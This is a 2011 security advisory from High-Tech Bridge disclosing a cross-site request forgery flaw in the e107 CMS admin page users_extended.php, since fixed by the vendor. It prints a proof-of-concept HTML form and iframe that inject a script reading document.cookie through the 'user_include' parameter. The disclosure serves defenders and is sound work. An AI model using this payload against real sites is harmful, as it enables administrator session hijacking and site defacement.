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Cross-site Request Forgery in e107

Advisory ID:HTB23004
Product:e107 website system
Vulnerable Versions:0.7.25 and probably prior
Tested Version:0.7.25
Advisory Publication:May 25, 2011 [without technical details]
Vendor Notification:May 25, 2011
Public Disclosure:June 15, 2011
Latest Update:March 23, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in e107 which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in e107
The vulnerability exists due to insufficient verification of the request origin in e107_admin/users_extended.php. A remote attacker can trick a logged-in administrator into following a specially crafted link and execute arbitrary HTML and script code via the "user_include" HTTP POST parameter in administrator`s browser in context of vulnerable website.

Exploitation example:
setTimeout("document.getElementById('f1').src='http://HOST/e107_admin/ users_extended.php'",2000);
<iframe id=f1 src='form.html'></iframe>

<form method="POST" action="http://HOST/e107_admin/users_extended.php?editext" name=m>
<input type="hidden" name="user_field" value="abcde1f1">
<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>

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More Information:

[1] High-Tech Bridge Advisory HTB23004 - - Cross-site Request Forgery in e107
[2] e107 - - e107 is an Advanced Content Publishing Solution for Website Pages, Documents, Menus and Links (Content Management System) powered by PHP and MySQL.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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